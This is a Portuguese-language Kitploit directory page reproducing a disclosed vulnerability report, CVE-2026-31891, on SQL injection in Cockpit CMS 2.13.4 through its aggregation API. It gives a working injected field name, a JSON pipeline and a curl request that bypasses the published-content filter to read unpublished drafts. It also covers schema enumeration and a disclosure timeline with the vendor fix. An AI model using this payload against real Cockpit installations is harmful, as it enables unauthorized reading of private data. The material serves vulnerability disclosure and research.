Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31891 — Injeção de SQL no Otimizador de Agregação do MongoLite via toJsonExtractRaw() | Kitploit
Ferramentas/GitHubGitHub/ffasterss/cve-2026-31891
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoSegurança de Banco de Dados
GitHubffasterss/cve-2026-31891

CVE-2026-31891

Injeção de SQL no Otimizador de Agregação do MongoLite via toJsonExtractRaw()

Ver Repositório
6há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Injeção de SQL no Otimizador de Agregação do MongoLite via toJsonExtractRaw()

  • Classe de Vulnerabilidade: Injeção de SQL (CWE-89)
  • Produto: Cockpit CMS (Edição Core)
  • Versão Afetada: 2.13.4 e provavelmente todas as versões desde que o Otimizador de Agregação foi introduzido
  • Imagem Docker Testada: cockpithq/cockpit:core-2.13.4
  • Commit de Origem: 7fe563023b7fae854c857d2e2dc0878ef28fbb5f (tag 2.13.4)
  • GitHub: https://github.com/Cockpit-HQ/Cockpit
  • Data da Descoberta: 2026-02-28
  • Pontuação CVSS: 7.7 (Alta) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

1. Resumo executivo

Foi identificada uma vulnerabilidade de Injeção de SQL no Cockpit CMS (Edição Core versão 2.13.4). A vulnerabilidade existe dentro do Otimizador de Agregação do , especificamente no método . Nomes de campos controlados pelo usuário são concatenados diretamente em consultas SQL sem sanitização adequada.

MongoLite
toJsonExtractRaw()

Um atacante autenticado com acesso de leitura (por meio de uma chave de API) a um Modelo de Conteúdo pode injetar comandos SQL arbitrários no pipeline de agregação por meio do endpoint REST /api/content/aggregate/{model}.

Essa falha permite que atacantes:

  • Contornem o filtro de conteúdo publicado pretendido (_state=1) para ler rascunhos não publicados.
  • Extraiam o conteúdo completo de documentos de qualquer coleção no mesmo banco de dados SQLite.
  • Enumerem o esquema interno do banco de dados via sqlite_master.

2. Reprodução do exploit passo a passo

As etapas a seguir demonstram como um atacante pode contornar o filtro de autorização _state=1.

Pré-requisitos

  • Cockpit CMS 2.13.4 ou inferior
  • Uma chave de API com pelo menos acesso de leitura a um modelo de coleção de conteúdo.

2.1: Configurar o modelo de conteúdo

  1. Faça login no painel administrativo do Cockpit CMS como administrador.
  2. Navegue até Conteúdo > Modelos e crie um novo modelo chamado testcol.
  3. Adicione dois campos de Texto ao modelo: title e body.

Captura de tela: Configurando o modelo de conteúdo testcol Configurando o modelo de conteúdo testcol

2.2: Configurar a função e a chave de API

  1. Navegue até Configurações > Funções.
  2. Crie ou modifique uma função (por exemplo, MasterRole) para que ela tenha permissão de LEITURA para o modelo testcol.

Captura de tela: Configurando as permissões da função para a coleção Configurando as permissões da função para a coleção

  1. Navegue até Configurações > API e Segurança (Chaves de API).
  2. Adicione uma nova chave de API e atribua a ela a MasterRole que você acabou de configurar. Copie o valor da chave (por exemplo, API-b8e8...).

Captura de tela: Configurando a Chave de API com a função de acesso de leitura Configurando a Chave de API com a função de acesso de leitura

2.3: Criar conteúdo de exemplo (incluindo um rascunho secreto)

  1. Vá até Conteúdo > testcol.
  2. Crie um item intitulado Public e defina seu estado como PUBLICADO (ícone verde).
  3. Crie um segundo item intitulado SECRET_DRAFT e defina seu estado como NÃO PUBLICADO (ícone vermelho).

Captura de tela: A lista de itens mostrando um item publicado e um não publicado A lista de itens mostrando um item publicado e um não publicado

2.4: Executar o exploit

Por padrão, consultas padrão da API retornarão apenas conteúdo cujo estado seja Publicado. No entanto, ao injetar SQL no pipeline de agregação, o filtro de conteúdo publicado pode ser contornado.

  1. Construa o seguinte payload. O payload sai da função SQL json_extract() e anexa um comentário SQL -- para neutralizar o SQL final, visando especificamente a cláusula WHERE que limita os resultados a itens publicados.

Campo Injetado:

root@kitploit:~
$title') as _id FROM collections_testcol--

Pipeline JSON Completo:

root@kitploit:~
[{"$group": {"_id": "$title') as _id FROM collections_testcol--", "c": {"$sum": 1}}}]
  1. Codifique o pipeline JSON em URL e envie uma solicitação GET via navegador (ou curl) para o endpoint /api/content/aggregate/testcol. Certifique-se de substituir YOUR_API_KEY pela chave gerada na Etapa 2.2:
root@kitploit:~
curl "http://localhost:8080/api/content/aggregate/testcol?api_key=YOUR_API_KEY&pipeline=%5B%7B%22%24group%22%3A%20%7B%22_id%22%3A%20%22%24title%27%29%20as%20_id%20FROM%20collections_testcol--%22%2C%20%22c%22%3A%20%7B%22%24sum%22%3A%201%7D%7D%7D%5D"

2.5: Verificação do exploit

Conforme mostrado na captura de tela final abaixo, a resposta da API retorna com sucesso o item SECRET_DRAFT apesar de estar explicitamente marcado como NÃO PUBLICADO. Isso confirma que a injeção de SQL contorna o mecanismo de autorização central do aplicativo e permite a extração não autorizada de dados por meio da API.

Captura de tela: Extração bem-sucedida dos dados não publicados 'SECRET_DRAFT' Extração bem-sucedida dos dados não publicados 'SECRET_DRAFT'

3. Impacto -- consequência

Em uma implantação clássica de CMS headless, uma chave de API pública somente leitura é frequentemente incorporada/embutida no JavaScript do frontend. Ao explorar essa vulnerabilidade por meio do endpoint público da API, um atacante pode:

  • Contornar o filtro de conteúdo publicado para ler rascunhos não publicados, itens arquivados e conteúdo oculto.
  • Ler todas as coleções de conteúdo no mesmo banco de dados content.sqlite, incluindo coleções para as quais a chave de API não está autorizada.
  • Enumerar o esquema do banco de dados via sqlite_master para descobrir todos os nomes e estruturas de tabelas.

4. Cronograma de divulgação

DataAção
2026-02-28Vulnerabilidade descoberta durante pesquisa de segurança autorizada
2026-03-02Relatório enviado ao fornecedor
2026-03-02Correção do fornecedor -- https://github.com/Cockpit-HQ/Cockpit/commit/b6a0b45c5e8fe16f3027b889583cc3a9127ab4b0
2026-03-09Patch lançado v 2.13.5 -- https://getcockpit.com/releases

Apêndice:

  • https://github.com/Cockpit-HQ/Cockpit/security/advisories/GHSA-7x5c-vfhj-9628
  • https://www.cve.org/CVERecord?id=CVE-2026-31891
Baixar ferramenta